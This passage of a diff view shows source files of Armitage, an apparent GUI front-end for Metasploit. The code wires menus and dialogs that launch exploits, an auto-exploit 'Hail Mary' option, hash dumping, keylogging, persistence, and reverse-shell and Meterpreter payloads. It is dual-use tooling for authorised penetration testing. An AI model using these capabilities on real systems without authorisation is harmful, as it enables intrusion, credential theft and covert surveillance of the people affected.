local('$address');
$address = ask("Enter scan range (e.g., 192.168.1.0/24):", join(", ", [$targets getSelectedHosts]));
if ($address eq "") { return; }
launch_msf_scans($address);
});
item($1, "DNS Enumerate", 'D', {
if (size([$targets getSelectedHosts]) > 0) {
launch_dialog("Enumerate DNS", "auxiliary", "gather/enum_dns", 1, $null, %(NS => [$targets getSelectedHosts][0]));
}
else {
launch_dialog("Enumerate DNS", "auxiliary", "gather/enum_dns", 1, $null, %());
}
});
setupMenu($1, "hosts_middle", @());
separator($1);
setupMenu($1, "hosts_bottom", @());
item($1, "Clear Database", 'C', &clearDatabase);
}
# oh yay, Metasploit now normalizes OS info (so I don't have to). Except the new constants
# they use are different than the ones they have used... *sigh* time to future proof my code.
sub normalize {
if ("*Windows*" iswm $1) {
return "Windows";
}
else if ("*Mac*OS*X*" iswm $1) {
return "Mac OS X";
}
else if ("*Solaris*" iswm $1) {
return "Solaris";
}
else if ("*Cisco*" iswm $1) {
return "IOS";
}
else if ("*Printer*" iswm $1) {
return "Printer";
}
else {
return $1;
}
}

View File

@ -0,0 +1,649 @@
#
# code to manage some jobs ;)
#
import msf.*;
import armitage.*;
import console.*;
import table.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import java.awt.*;
import java.awt.event.*;
import ui.*;
sub manage_proxy_server {
manage_job("Auxiliary: server/socks4a",
# start server function
{
launch_dialog("SOCKS Proxy", "auxiliary", "server/socks4a", $null);
},
# description of job (for job kill function)
{
local('$host $port');
($host, $port) = values($2["datastore"], @("SRVHOST", "SRVPORT"));
return "SOCKS proxy is running on $host $+ : $+ $port $+ .\nWould you like to stop it?";
}
);
}
sub report_url {
find_job($name, {
if ($1 == -1) {
showError("Server not found");
}
else {
local('$job $host $port $uripath');
$job = call($client, "job.info", $1);
($host, $port) = values($job["info"]["datastore"], @("SRVHOST", "SRVPORT"));
$uripath = $job["info"]["uripath"];
local('$dialog $text $ok');
$dialog = dialog("Output", 320, 240);
$text = [new JTextArea];
[$text setText: "http:// $+ $host $+ : $+ $port $+ $uripath"];
$button = [new JButton: "Ok"];
[$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
[$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]];
[$dialog add: center($button), [BorderLayout SOUTH]];
[$dialog setVisible: 1];
}
});
}
sub find_job {
#
# convoluted? yes, but jobs.info kept locking up on some of my requests...
#
cmd_safe("jobs", lambda({
local('$temp $jid $jname $confirm');
foreach $temp (split("\n", $3)) {
if ([$temp trim] ismatch '.*?(\d+)\s+(.*?)') {
($jid, $jname) = matched();
if ($jname eq $name) {
[$function: $jid];
return;
}
}
}
[$function: -1];
}, $name => $1, $function => $2));
}
# manage_job(job name, { start job function }, { job dialog info })
sub manage_job {
local('$name $startf $stopf');
($name, $startf, $stopf) = @_;
find_job($name, lambda({
if ($1 == -1) {
[$startf];
}
else {
local('$job $confirm $foo');
$job = call($client, "job.info", $1);
$foo = lambda({
local('$confirm');
$confirm = askYesNo([$stopf : $jid, $job], "Stop Job");
if ($confirm eq "0") {
cmd_safe("jobs -k $jid", {
if ($3 ne "") { showError($3); }
});
}
}, \$stopf, \$job, $jid => $1);
if ([SwingUtilities isEventDispatchThread]) {
[$foo];
}
else {
[SwingUtilities invokeLater: $foo];
}
}
}, \$startf, \$stopf));
}
sub generatePayload {
local('$file');
$file = saveFile2();
if ($file is $null) {
return;
}
thread(lambda({
local('$module $options $format $handle $data');
($module, $options, $format) = $args;
$options["Format"] = $format;
$data = call($client, "module.execute", "payload", $module, $options);
$handle = openf("> $+ $file");
writeb($handle, $data["payload"]);
closef($handle);
showError("Saved $file");
}, $args => @_, \$file));
}
# pass the module launch to another thread please.
sub launch_service {
if ($4 eq "payload" && $format ne "multi/handler") {
generatePayload($2, $3, $format);
}
else {
local('$listener');
thread(lambda({
local('$title $module $options $type');
($title, $module, $options, $type) = $args;
_launch_service($title, $module, $options, $type, \$format, \$listener);
}, $args => @_, \$format, \$listener));
}
}
sub _launch_service {
local('$c $key $value');
if ('SESSION' in $3) {
$c = createDisplayTab($1, $host => sessionToHost($3['SESSION']), $file => "post");
}
else if ('RHOST' in $3) {
$c = createDisplayTab($1, $host => $3['RHOST'], $file => $4);
}
else {
$c = createDisplayTab($1, $file => $4);
}
if ($listener) {
[$c addSessionListener: $listener];
}
if ($4 eq "payload" && $format eq "multi/handler") {
[$c addCommand: $null, "use exploit/multi/handler"];
[$c addCommand: $null, "set PAYLOAD ". substr($2, 8)];
[$c addCommand: $null, "set ExitOnSession false"];
}
else {
[$c addCommand: $null, "use $2"];
}
foreach $key => $value ($3) {
[$c addCommand: $null, "set $key $value"];
}
if ($4 eq "exploit" || ($4 eq "payload" && $format eq "multi/handler")) {
[$c addCommand: "x", "exploit -j"];
}
else {
[$c addCommand: "x", "run -j"];
}
[$c start];
}
#
# pop up a dialog to start our attack with... fun fun fun
#
# launch_dialog("title", "type", "name", "visible", "hosts...", %options)
sub launch_dialog {
local('$info $options $6');
$info = call($mclient, "module.info", $2, $3);
$options = call($mclient, "module.options", $2, $3);
# give callers the ability to set any options before we pass things on.
if (-ishash $6) {
local('$key $value');
foreach $key => $value ($6) {
if ($key in $options) {
$options[$key]["default"] = $value;
$options[$key]["advanced"] = "0";
}
}
}
dispatchEvent(lambda({
invoke(lambda(&_launch_dialog, \$info, \$options), $args);
}, \$info, \$options, $args => @_));
}
# $1 = model, $2 = exploit, $3 = selected target
sub updatePayloads {
thread(lambda({
local('$best');
$best = best_client_payload($exploit, $target);
[$model setValueForKey: "PAYLOAD", "Value", $best];
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
[$model setValueForKey: "LPORT", "Value", randomPort()];
[$model setValueForKey: "DisablePayloadHandler", "Value", "false"];
[$model setValueForKey: "ExitOnSession", "Value", "false"];
[$model fireListeners];
}, $model => $1, $exploit => $2, $target => $3));
}
sub _launch_dialog {
local('$dialog $north $center $center $label $textarea $scroll $model $table $default $combo $key $sorter $value $col $button $6 $5');
$dialog = dialog($1, 520, 360);
$north = [new JPanel];
[$north setLayout: [new BorderLayout]];
$label = [new JLabel: $info["name"]];
[$label setBorder: [BorderFactory createEmptyBorder: 5, 5, 5, 5]];
[$north add: $label, [BorderLayout NORTH]];
$textarea = [new JTextArea: [join(" ", split('[\\n\\s]+', $info["description"])) trim]];
[$textarea setEditable: 0];
[$textarea setOpaque: 1];
[$textarea setLineWrap: 1];
[$textarea setWrapStyleWord: 1];
[$textarea setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
$scroll = [new JScrollPane: $textarea];
[$scroll setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
[$north add: $scroll, [BorderLayout CENTER]];
$model = [new GenericTableModel: @("Option", "Value"), "Option", 128];
[$model setCellEditable: 1];
foreach $key => $value ($options) {
if ($key eq "THREADS") {
$default = "24";
}
else if ($key eq "LHOST") {
$default = $MY_ADDRESS;
}
else if ($key eq "RHOSTS") {
$default = join(", ", $5);
}
else if ($key eq "SESSION" && size($5) > 0) {
local('$host @sessions');
foreach $host ($5) {
if ($host in %hosts && 'sessions' in %hosts[$host] && size(%hosts[$host]['sessions']) > 0) {
push(@sessions, keys(%hosts[$host]['sessions'])[0]);
}
}
$default = join(", ", @sessions);
}
else if ($key eq "RHOST" && size($5) > 0) {
$default = $5[0];
}
else {
$default = $value["default"];
}
if ($2 ne "exploit" || "$key" !in @("DisablePayloadHandler", "PAYLOAD", "LHOST", "LPORT", "ExitOnSession")) {
[$model _addEntry: %(Option => $key, Value => $default, Tooltip => $value["desc"], Hide => iff($value["advanced"] eq '0' && $value["evasion"] eq '0', '0', '1'))];
}
}
#
# give user the option to configure the client-side payload... of course we'll configure it for them
# by default :P~
#
if ($2 eq "exploit") {
[$model _addEntry: %(Option => "PAYLOAD", Value => "", Tooltip => "The payload to execute on successful exploitation", Hide => "0")];
[$model _addEntry: %(Option => "DisablePayloadHandler", Value => "1", Tooltip => "Disable the handler code for the selected payload", Hide => "0")];
[$model _addEntry: %(Option => "ExitOnSession", Value => "", Tooltip => "Close this handler after a session")];
[$model _addEntry: %(Option => "LHOST", Value => "$MY_ADDRESS", Tooltip => "The listen address", Hide => "0")];
[$model _addEntry: %(Option => "LPORT", Value => "", Tooltip => "The listen port", Hide => "0")];
}
else if ($2 eq "payload" && "*windows*" iswm $3) {
[$model _addEntry: %(Option => "Template", Value => "", Tooltip => "The executable template to use", Hide => "0")];
[$model _addEntry: %(Option => "KeepTemplateWorking", Value => "", Tooltip => "Keep the executable template functional", Hide => "0")];
[$model _addEntry: %(Option => "Iterations", Value => "3", Tooltip => "The number of encoding iterations", Hide => "0")];
[$model _addEntry: %(Option => "Encoder", Value => "x86/shikata_ga_nai", Tooltip => "The name of the encoder module to use", Hide => "0")];
}
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$table setRowSorter: $sorter];
local('%actions');
%actions["PAYLOAD"] = lambda(&payloadHelper, $exploit => $3, \$model);
addFileListener($table, $model, %actions);
local('$TABLE_RENDERER');
$TABLE_RENDERER = tableRenderer($table, $model);
foreach $col (@("Option", "Value")) {
[[$table getColumn: $col] setCellRenderer: $TABLE_RENDERER];
}
$center = [new JScrollPane: $table];
$combo = select(sorta(split(',', "raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,war,multi/handler")), "multi/handler");
$button = [new JButton: "Launch"];
# setup some default options on a output type basis.
[$combo addActionListener: lambda({
local('$sel');
$sel = [$combo getSelectedItem];
if ($sel eq "vba") {
[$model setValueForKey: "Encoder", "Value", "generic/none"];
[$model setValueForKey: "EXITFUNC", "Value", "thread"];
[$model fireListeners];
}
}, \$model, \$combo)];
local('$combobox');
if ('targets' in $info) {
$combobox = targetsCombobox($info);
[$combobox addActionListener: lambda({
updatePayloads($model, $exploit, [$combobox getSelectedItem]);
}, \$model, $exploit => $3, \$combobox)];
}
[$button addActionListener: lambda({
local('$options $host $x $best');
syncTable($table);
$options = %();
# assume we have an exploit... set the appropriate target please...
if ($combobox !is $null) {
$options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0];
}
for ($x = 0; $x < [$model getRowCount]; $x++) {
if ([$model getValueAt: $x, 1] ne "") {
$options[ [$model getValueAt: $x, 0] ] = [$model getValueAt: $x, 1];
}
}
if (!isShift($1)) {
[$dialog setVisible: 0];
}
if ($visible) {
if ('SESSION' in $options) {
local('@sessions $session $console');
@sessions = split(',\s+', $options['SESSION']);
foreach $session (@sessions) {
$options['SESSION'] = $session;
launch_service($title, "$type $+ / $+ $command", copy($options), $type, $format => [$combo getSelectedItem]);
}
if ($command eq "windows/gather/smart_hashdump" || $command eq "windows/gather/hashdump") {
foreach $session (@sessions) {
$session = sessionToHost($session);
}
elog("dumped hashes on " . join(", ", @sessions));
}
else if ($command eq "windows/gather/arp_scanner") {
elog("ARP scan: " . $options['RHOSTS'] . " via " . join(", ", @sessions));
}
else if ($command eq "multi/gather/ping_sweep") {
elog("ping sweep: " . $options['RHOSTS'] . " via " . join(", ", @sessions));
}
else if ($command eq "windows/capture/keylog_recorder") {
foreach $session (@sessions) {
$session = sessionToHost($session) . "/ $+ $session";
}
elog("started logging keystrokes on " . join(", ", @sessions));
}
else if ($command eq "windows/manage/persistence") {
foreach $session (@sessions) {
$session = sessionToHost($session);
}
elog("ran persistence on " . join(", ", @sessions));
}
}
else if ("*/fileformat/*" iswm $command && 'FILENAME' in $options) {
local('$listener');
$listener = {
local('$temp $file $path');
foreach $temp (split("\n", $3)) {
if ($temp ismatch '... (.*?) stored at (.*)') {
($file, $path) = matched();
downloadFile($path, saveFile2());
}
}
};
if ($client is $mclient) {
$listener = $null;
}
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem], \$listener);
}
else if ($type eq "exploit" && "*/browser/*" iswm $command) {
local('$listener');
$listener = lambda({
local('$temp $file $path');
foreach $temp (split("\n", $3)) {
if ($temp ismatch '...\s+Local IP:\s+(http.*)') {
elog("launched $command @ " . matched()[0]);
}
}
}, \$command);
if ($client is $mclient) {
$listener = $null;
}
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem], \$listener);
}
else {
if ($type eq "auxiliary" && $command eq "gather/enum_dns") {
local('$domain $ns');
($domain, $ns) = values($options, @('DOMAIN', 'NS'));
if ($ns ne "") {
elog("launched DNS enum for $domain via $ns");
}
else {
elog("launched DNS enum for $domain");
}
}
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem]);
}
}
else {
thread(lambda({
local('$r');
$r = call($client, "module.execute", $type, $command, $options);
if ("result" in $r) {
elog("started $command");
showError($r["result"]);
}
else if ("job_id" in $r) {
elog("started $command");
showError("Started service");
}
else {
showError($r);
}
}, \$type, \$command, \$options));
}
}, \$dialog, \$model, $title => $1, $type => $2, $command => $3, $visible => $4, \$combo, \$table, \$combobox)];
local('$advanced');
$advanced = addAdvanced(\$model);
local('$panel');
$panel = [new JPanel];
[$panel setLayout: [new BoxLayout: $panel, [BoxLayout Y_AXIS]]];
if ($2 eq "payload") {
[$panel add: left([new JLabel: "Output: "], $combo)];
}
else if ($combobox !is $null) {
[$panel add: left([new JLabel: "Targets: "], $combobox)];
}
if ($2 eq "exploit") {
updatePayloads($model, "$3", iff($combobox !is $null, [$combobox getSelectedItem]));
}
[$panel add: left($advanced)];
[$panel add: center($button)];
[$dialog add: $panel, [BorderLayout SOUTH]];
local('$s');
$s = [new JSplitPane: [JSplitPane VERTICAL_SPLIT], $north, $center];
[$center setPreferredSize: [new Dimension: 0, 0]];
[$north setPreferredSize: [new Dimension: 480, 87]]; # from 67...
[$s resetToPreferredSizes];
[$s setOneTouchExpandable: 1];
[$dialog add: $s, [BorderLayout CENTER]];
[$button requestFocus];
[$dialog setVisible: 1];
}
sub jobs {
local('$jobs $jid $desc $info $data @r');
$jobs = call($client, "job.list");
foreach $jid => $desc ($jobs) {
$info = call($client, "job.info", $jid);
if ($info !is $null) {
$data = $info["datastore"];
if (!-ishash $data) { $data = %(); }
push(@r, %(Id => $jid, Name => $info['name'], Payload => $data['PAYLOAD'], Port => $data['LPORT'], Start => rtime($info['start_time']), Data => $data, URL => $info['uripath']));
}
}
return @r;
}
sub updateJobsTable {
local('$job');
[$model clear: 8];
foreach $job (jobs()) {
[$model addEntry: $job];
}
[$model fireListeners];
}
sub createJobsTab {
local('$table $model $refresh $kill $panel $jobsf $sorter');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$model = [new GenericTableModel: @("Id", "Name", "Payload", "Port", "URL", "Start"), "Id", 8];
$table = [new ATable: $model];
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]];
[[$table getColumn: "Id"] setPreferredWidth: 125];
[[$table getColumn: "Port"] setPreferredWidth: 200];
[[$table getColumn: "Name"] setPreferredWidth: 1024];
[[$table getColumn: "Payload"] setPreferredWidth: 1024];
[[$table getColumn: "URL"] setPreferredWidth: 1024];
[[$table getColumn: "Start"] setPreferredWidth: 1024];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$table setRowSorter: $sorter];
[$sorter setComparator: 0, { return $1 <=> $2; }];
[$sorter setComparator: 3, { return $1 <=> $2; }];
$jobsf = lambda(&updateJobsTable, \$model);
[$jobsf];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({ thread($jobsf); }, \$jobsf)];
$kill = [new JButton: "Kill"];
[$kill addActionListener: lambda({
local('@jobs');
@jobs = [$model getSelectedValues: $table];
thread(lambda({
showError("Stopping " . size(@jobs) . " job" . iff(size(@jobs) == 1, "", "s"));
local('$jid');
foreach $jid (@jobs) {
call($client, "job.stop", $jid);
}
yield size(@jobs) * 500;
[$jobsf];
}, \@jobs, \$jobsf));
}, \$table, \$model, \$jobsf)];
[$panel add: center($refresh, $kill), [BorderLayout SOUTH]];
[$frame addTab: "Jobs", $panel, $null];
}
sub payloadHelper {
local('$compatible $payload $check');
$payload = {
return %(payload => $1, Name => $2, Target => $3, Channel => $4);
};
$check = [new JCheckBox: "Start a handler for this payload"];
$compatible = @();
push($compatible, [$payload: "windows/meterpreter/reverse_tcp", "Meterpreter", "Windows", "TCP/IP"]);
push($compatible, [$payload: "windows/meterpreter/reverse_tcp_dns", "Meterpreter", "Windows", "TCP/IP to hostname"]);
push($compatible, [$payload: "windows/meterpreter/reverse_ipv6_tcp", "Meterpreter", "Windows", "TCP/IPv6"]);
push($compatible, [$payload: "windows/meterpreter/reverse_http", "Meterpreter", "Windows", "HTTP"]);
push($compatible, [$payload: "windows/meterpreter/reverse_https", "Meterpreter", "Windows", "HTTPS"]);
push($compatible, [$payload: "windows/shell/reverse_tcp", "Shell", "Windows", "TCP/IP"]);
push($compatible, [$payload: "windows/shell/reverse_http", "Shell", "Windows", "HTTP"]);
push($compatible, [$payload: "windows/shell/reverse_ipv6_tcp", "Shell", "Windows", "TCP/IPv6"]);
push($compatible, [$payload: "windows/shell/reverse_ipv6_http", "Shell", "Windows", "HTTP/IPv6"]);
push($compatible, [$payload: "java/meterpreter/reverse_tcp", "Meterpreter", "Java", "TCP/IP"]);
push($compatible, [$payload: "java/meterpreter/reverse_http", "Meterpreter", "Java", "HTTP"]);
push($compatible, [$payload: "java/shell/reverse_tcp", "Shell", "Java", "TCP/IP"]);
push($compatible, [$payload: "linux/meterpreter/reverse_tcp", "Meterpreter", "Linux", "TCP/IP"]);
push($compatible, [$payload: "linux/meterpreter/reverse_ipv6_tcp", "Meterpreter", "Linux", "TCP/IPv6"]);
push($compatible, [$payload: "osx/ppc/shell/reverse_tcp", "Shell", "MacOS X (PPC)", "TCP/IP"]);
push($compatible, [$payload: "osx/x86/vforkshell/reverse_tcp", "Shell", "MacOS X (x86)", "TCP/IP"]);
push($compatible, [$payload: "generic/shell_reverse_tcp", "Shell", "UNIX (Generic)", "TCP/IP"]);
quickListDialog("Choose a payload", "Select", @("payload", "Name", "Target", "Channel"), $compatible, $width => 640, $height => 240, $after => @(left($check)), lambda({
# set the payload...
if ($1 eq "") {
return;
}
if ([$check isSelected]) {
[$model setValueForKey: "DisablePayloadHandler", "Value", "false"];
[$model setValueForKey: "HANDLER", "Value", "true"];
[$model setValueForKey: "ExitOnSession", "Value", "false"];
[$model setValueForKey: "LPORT", "Value", randomPort()];
}
else {
[$model setValueForKey: "DisablePayloadHandler", "Value", "true"];
[$model setValueForKey: "HANDLER", "Value", "false"];
[$model setValueForKey: "ExitOnSession", "Value", ""];
[$model setValueForKey: "LPORT", "Value", ""];
}
if ($1 eq "windows/meterpreter/reverse_tcp" || $1 eq "windows/meterpreter/reverse_tcp_dns") {
[$model setValueForKey: "PAYLOAD", "Value", $1];
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
}
else if ($1 eq "windows/meterpreter/reverse_http" || $1 eq "windows/meterpreter/reverse_https" || $1 eq "java/meterpreter/reverse_http") {
[$model setValueForKey: "PAYLOAD", "Value", $1];
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
[$model setValueForKey: "LPORT", "Value", iff([$1 endsWith: "http"], "80", "443")];
}
else {
[$model setValueForKey: "PAYLOAD", "Value", $1];
}
[$model fireListeners];
}, $callback => $4, \$model, \$check));
}

View File

@ -0,0 +1,76 @@
#
# Logging... yeap, this is very important y0.
#
import java.io.*;
global('%logs');
%logs = ohash();
setMissPolicy(%logs, {
return [new PrintStream: [new FileOutputStream: $2, 1], 1, "UTF-8"];
});
# logNow("file", "host|all", "text to log");
sub logNow {
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
local('$today $stream');
$today = formatDate("yyMMdd");
mkdir(getFileProper(dataDirectory(), $today, $2));
$stream = %logs[ getFileProper(dataDirectory(), $today, $2, "$1 $+ .log") ];
[$stream println: $3];
}
}
sub logCheck {
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
local('$today');
$today = formatDate("yyMMdd");
if ($2 ne "") {
mkdir(getFileProper(dataDirectory(), $today, $2));
[$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $2, "$3 $+ .log") ]];
}
}
}
# logFile("filename", "all|host", "type")
sub logFile {
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
local('$today $handle $data $out');
$today = formatDate("yyMMdd");
if (-exists $1 && -canread $1) {
mkdir(getFileProper(dataDirectory(), $today, $2, $3));
# read in the file
$handle = openf($1);
$data = readb($handle, -1);
closef($handle);
# write it out.
$out = getFileProper(dataDirectory(), $today, $2, $3, getFileName($1));
$handle = openf("> $+ $out");
writeb($handle, $data);
closef($handle);
}
else {
warn("Could not find file: $1");
}
}
}
sub initLogSystem {
[$frame setScreenshotManager: {
local('$image $title');
($image, $title) = @_;
thread(lambda({
local('$file');
$title = tr($title, '0-9\W', '0-9_');
$file = [new java.io.File: getFileProper(formatDate("HH.mm.ss") . " $title $+ .png")];
[javax.imageio.ImageIO write: $image, "png", $file];
logFile([$file getAbsolutePath], "screenshots", ".");
deleteFile([$file getAbsolutePath]);
showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/screenshots");
}, \$image, \$title));
}];
}

View File

@ -0,0 +1,123 @@
#
# Loot browser (not yet complete... on hold until more post/ modules have loot)
#
import table.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import ui.*;
sub updateLootModel {
thread(lambda({
[Thread yield];
local('$loots $entry');
[$model clear: 16];
$loots = call($mclient, "db.loots")["loots"];
foreach $entry ($loots) {
$entry["date"] = rtime($entry["updated_at"] / 1000L);
$entry["type"] = $entry["ltype"];
[$model addEntry: $entry];
}
[$model fireListeners];
}, \$model));
}
sub showLoot {
local('$dialog $v $button $refresh $text $data');
$v = [$model getSelectedValue: $table];
#
# well then, file is binary... let's do something else with it, like save it.
#
if ($v !is $null && "*binary*" iswm [$model getSelectedValueFromColumn: $table, "content_type"]) {
if ($client is $mclient) {
[gotoFile([new java.io.File: getFileParent($v)])];
}
else {
local('$name $save');
$name = [$model getSelectedValueFromColumn: $table, "name"];
$save = getFileName($name);
thread(lambda({
local('$handle $data');
$data = getFileContent($v);
$handle = openf("> $+ $save");
writeb($handle, $data);
closef($handle);
[gotoFile([new java.io.File: cwd()])];
}, \$v, \$save));
}
return;
}
else if ($v !is $null) {
$dialog = [new JPanel];
[$dialog setLayout: [new BorderLayout]];
#$dialog = dialog("View Loot", 640, 480);
$text = [new console.Display: $preferences];
[$text setText: getFileContent($v)];
[$text setFont: [Font decode: [$preferences getProperty: "console.font.font", "Monospaced BOLD 14"]]];
[$text setForeground: [Color decode: [$preferences getProperty: "console.foreground.color", "#ffffff"]]];
[$text setBackground: [Color decode: [$preferences getProperty: "console.background.color", "#000000"]]];
$button = [new JButton: "Close"];
[$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({ [$text setText: getFileContent($v)]; }, \$text, \$v)];
[$dialog add: $text, [BorderLayout CENTER]];
[$dialog add: center($refresh), [BorderLayout SOUTH]];
[$frame addTab: "View", $dialog, $null, $v];
#[$dialog show];
}
}
sub createLootBrowser {
local('$table $model $panel $refresh $view $sorter $host');
$model = [new GenericTableModel: @("host", "type", "info", "date"), "path", 16];
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$sorter setComparator: 0, &compareHosts];
[$sorter setComparator: 3, {
return convertDate($1) <=> convertDate($2);
}];
[$table setRowSorter: $sorter];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$view = [new JButton: "View"];
addMouseListener($table, lambda({
if ($0 eq "mousePressed" && [$1 getClickCount] >= 2) {
showLoot(\$model, \$table);
}
}, \$model, \$table));
[$view addActionListener: lambda({
showLoot(\$model, \$table);
}, \$model, \$table)];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
updateLootModel(\$model);
}, \$model)];
updateLootModel(\$model);
[$panel add: center($view, $refresh), [BorderLayout SOUTH]];
[$frame addTab: "Loot", $panel, $null];
}

View File

@ -0,0 +1,264 @@
import msf.*;
import java.awt.*;
import java.io.*;
import java.net.*;
import javax.swing.*;
import javax.imageio.*;
import ui.*;
sub host_selected_items {
local('$sid $session $i $s $h $o');
host_attack_items($1, $2);
setupMenu($1, "host_top", $2);
if ($2[0] in %hosts && 'sessions' in %hosts[$2[0]]) {
foreach $sid => $session (%hosts[$2[0]]['sessions']) {
if ($session["type"] eq "meterpreter") {
$i = menu($1, "Meterpreter $sid", $sid);
showMeterpreterMenu($i, \$session, \$sid);
}
else if ($session["type"] eq "shell") {
$i = menu($1, "Shell $sid", $sid);
showShellMenu($i, \$session, \$sid);
}
}
}
item($1, "Services", 'v', lambda({ createServiceBrowser($hosts) }, $hosts => $2));
item($1, "Scan", 'c', lambda({ launch_msf_scans(join(", ", $hosts)); }, $hosts => $2));
setupMenu($1, "host_bottom", $2);
separator($1);
$h = menu($1, "Host", 'H');
$o = menu($h, "Operating System", 'O');
item($o, "Cisco IOS", 'C', setHostValueFunction($2, "os_name", "Cisco IOS"));
item($o, "FreeBSD", 'F', setHostValueFunction($2, "os_name", "FreeBSD"));
item($o, "Linux", 'L', setHostValueFunction($2, "os_name", "Linux"));
item($o, "NetBSD", 'N', setHostValueFunction($2, "os_name", "NetBSD"));
item($o, "Mac OS X", 'M', setHostValueFunction($2, "os_name", "Apple Mac OS X"));
item($o, "OpenBSD", 'O', setHostValueFunction($2, "os_name", "OpenBSD"));
item($o, "Printer", 'P', setHostValueFunction($2, "os_name", "Printer"));
item($o, "Solaris", 'S', setHostValueFunction($2, "os_name", "Solaris"));
item($o, "Unknown", 'U', setHostValueFunction($2, "os_name", ""));
item($o, "VMware", 'V', setHostValueFunction($2, "os_name", "VMware"));
$i = menu($o, "Windows", 'W');
item($i, '1. 95/98/2000', '1', setHostValueFunction($2, "os_name", "Micosoft Windows", "os_flavor", "2000"));
item($i, '2. XP/2003', '2', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "XP"));
item($i, '3. Vista/7', '3', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "Vista"));
item($h, "Remove Host", 'R', clearHostFunction($2));
}
sub view_items {
# make it so we can recreate this menu if necessary...
setf('&recreate_view_items', lambda({ [$parent removeAll]; view_items($parent); }, $parent => $1));
item($1, 'Console', 'C', { thread(&createConsoleTab); });
if ($RPC_CONSOLE !is $null) {
item($1, 'RPC Console', 'P', {
[$frame addTab: "msfrpcd", $RPC_CONSOLE, {}];
});
}
if ($mclient !is $client && $mclient !is $null) {
item($1, 'Event Log', 'E', &createEventLogTab);
}
setupMenu($1, "view_top", @());
separator($1);
item($1, 'Credentials', 'r', { thread(&createCredentialsTab); });
item($1, 'Downloads', 'D', { thread(&createDownloadBrowser); });
item($1, 'Jobs', 'J', { thread(&createJobsTab); });
item($1, 'Loot', 'L', { thread(&createLootBrowser) });
setupMenu($1, "view_middle", @());
separator($1);
local('$t');
$t = menu($1, 'Reporting', 'R');
item($t, 'Activity Logs', 'A', gotoFile([new File: dataDirectory()]));
item($t, 'Export Data', 'E', {
thread(&generateArtifacts);
});
setupMenu($1, "view_bottom", @());
}
sub armitage_items {
local('$m');
item($1, 'Preferences', 'P', &createPreferencesTab);
separator($1);
dynmenu($1, 'Set Target View', 'S', {
local('$t1 $t2');
if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
$t1 = 'Graph View *';
$t2 = 'Table View';
}
else {
$t1 = 'Graph View';
$t2 = 'Table View *';
}
item($1, $t1, 'G', {
[$preferences setProperty: "armitage.string.target_view", "graph"];
createDashboard();
savePreferences();
});
item($1, $t2, 'T', {
[$preferences setProperty: "armitage.string.target_view", "table"];
createDashboard();
savePreferences();
});
});
dynmenu($1, 'Set Exploit Rank', 'E', {
local('$f @ranks $rank');
$f = {
[$preferences setProperty: "armitage.required_exploit_rank.string", $rank];
savePreferences();
showError("Updated minimum exploit rank.");
};
@ranks = @("Excellent", "Great", "Good", "Normal", "Poor");
foreach $rank (@ranks) {
if ([$preferences getProperty: "armitage.required_exploit_rank.string", "great"] eq lc($rank)) {
item($1, "$rank *", charAt($rank, 0), lambda($f, $rank => lc($rank)));
}
else {
item($1, $rank, charAt($rank, 0), lambda($f, $rank => lc($rank)));
}
}
});
setupMenu($1, "main_top", @());
separator($1);
item($1, 'SOCKS Proxy...', 'r', &manage_proxy_server);
$m = menu($1, 'Listeners', 'L');
item($m, 'Bind (connect to)', 'B', &connect_for_shellz);
item($m, 'Reverse (wait for)', 'R', &listen_for_shellz);
setupMenu($1, "main_middle", @());
separator($1);
item($1, 'Exit', 'x', {
if ($msfrpc_handle !is $null) {
closef($msfrpc_handle);
}
[System exit: 0];
});
}
sub main_attack_items {
local('$k');
item($1, "Find Attacks", 'A', {
thread({
findAttacks("p", min_rank());
});
});
item($1, "Hail Mary", 'H', {
thread({
smarter_autopwn("p", min_rank());
});
});
setupMenu($1, "attacks", @());
}
sub gotoURL {
return lambda({
[[Desktop getDesktop] browse: $url];
}, $url => [[new URL: $1] toURI]);
}
sub help_items {
item($1, "Homepage", 'H', gotoURL("http://www.fastandeasyhacking.com/"));
item($1, "Tutorial", 'T', gotoURL("http://www.fastandeasyhacking.com/manual"));
item($1, "Issue Tracker", 'I', gotoURL("http://code.google.com/p/armitage/issues/list"));
